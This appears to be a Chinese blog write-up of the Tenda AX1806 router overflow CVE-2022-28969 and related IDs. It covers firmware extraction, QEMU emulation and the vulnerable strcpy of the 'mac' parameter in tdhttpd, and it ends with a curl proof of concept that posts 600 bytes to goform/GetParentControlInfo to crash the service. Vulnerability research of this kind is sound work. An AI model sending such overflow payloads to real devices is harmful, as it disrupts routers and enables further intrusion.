CVE-2022-28969

  • 这个漏洞实际上是一个系列漏洞,存在以下扩展漏洞编号

    • CVE-2022-28969
    • CVE-2022-28970
    • CVE-2022-28971
    • CVE-2022-28972
    • CVE-2022-28973
  • 漏洞版本:Tenda AX1806-v1.0.0.1
  • 漏洞点:tdhttpd中使用strcpy危险函数
  • 目标固件:官方下载

0x1 固件提取

  • 从官网上下载的固件可以直接使用binwalk提取
  • 核心是提取出rootfs_ubifs文件系统
  • 提取指令

    # binwalk -Me 1806.bin  --run-as=root
    
    Scan Time:     2022-06-06 01:29:03
    Target File:   /root/ax1086/1806.bin
    MD5 Checksum:  7a3d90946fc74c3bd068808be22d6bc1
    Signatures:    411
  • 提取出的文件系统如下

    rootfs_ubifs/
    ├── bin
    ├── ctcap
    ├── data
    ├── debug -> sys/kernel/debug
    ├── dev
    ├── etc
    ├── ipks
    ├── lib
    ├── mnt
    ├── opt
    ├── proc
    ├── sbin
    ├── sys
    ├── Temp -> /dev/null
    ├── tmp -> /dev/null
    ├── usr
    ├── var
    └── webs
  • 其中最关键的是tdhttpd组件

    # file rootfs_ubifs/bin/tdhttpd
    rootfs_ubifs/bin/tdhttpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
    

0x2 固件模拟

  • 由于这里已经获取到了完整的rootfs,考虑到兼容性这里直接使用模拟根分区的方式
  1. 首先使用以下指令准备文件系统

    cd rootfs_ubifs/
    cp $(which qemu-arm-static) .
    chmod -R +x bin sbin
  2. 接着使用脚本bridge.sh创建虚拟网桥(分析tdhttpd发现该程序从设备br0获取ip地址)

    str_br_name="br0"
    str_nic="eth0"
    
    #创建 虚拟交换机
    brctl addbr $str_br_name
    
    #将 网卡 str_nic 绑定到虚拟交换机 str_br_name (可能让网络断掉,最好在本机操作,不要通过网络)
    brctl addif $str_br_name $str_nic
    
    #将 str_br_name 设置为启用STP协议,优化路由表
    brctl stp $str_br_name on
    
    #将 str_nic 的IP设置为 0
    ifconfig $str_nic 0
    
    #将 恢复宿主机的 网络链接
    dhclient $str_br_name
    
  3. 最后模拟启动

    chroot . /qemu-arm-static /bin/busybox sh
    tdhttpd
  4. 当通过ip访问时就可以获得完整的路由器页面:image-20220606100015643.png

0x3 漏洞分析

  • 直接搜索使用strcpy的所有函数

    • image-20220606100934106.png
  • 其实这里都是漏洞点,这里进入第一个GetParentControlInfo函数进行样例分析
  1. 首先通过搜索文件系统,发现触发点是goform/GetParentControlInfo

    # grep -r "GetParentControlInfo" .
    ./webs/js/parental_control.js:        $.getJSON("goform/GetParentControlInfo?" + data, initParentControl);
    
  2. 接着分析GetParentControlInfo发现有如下危险代码

    src = (char *)sub_295C8(a1, "mac", &byte_1C2CF0);
    v3 = (char *)malloc(0x254u);
    v4 = (unsigned __int8 *)(v3 + 2);
    memset(v3, 0, 0x254u);
    strcpy(v3 + 2, src);
    • src:前端传入的mac参数
    • v3:大小为0x254u的缓冲区,用于保存mac
    • strcpy(v3 + 2, src):溢出点,只要mac参数的地址比0x254u长就会导致溢出

0x4 poc

  • 目前为止已经对漏洞的成因有完整的理解了
  • 接下来直接使用post注入mac参数即可,这里直接注入600字节的数据

    curl -d "mac=123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" http://192.168.128.5/goform/GetParentControlInfo
  • 可以发现程序直接崩溃退出了:image-20220606102957525.png

固件下载

  • 此处内容需要评论回复后(审核通过)方可阅读。
Last modification:June 6, 2022
如果觉得我的文章对你有用,请随意赞赏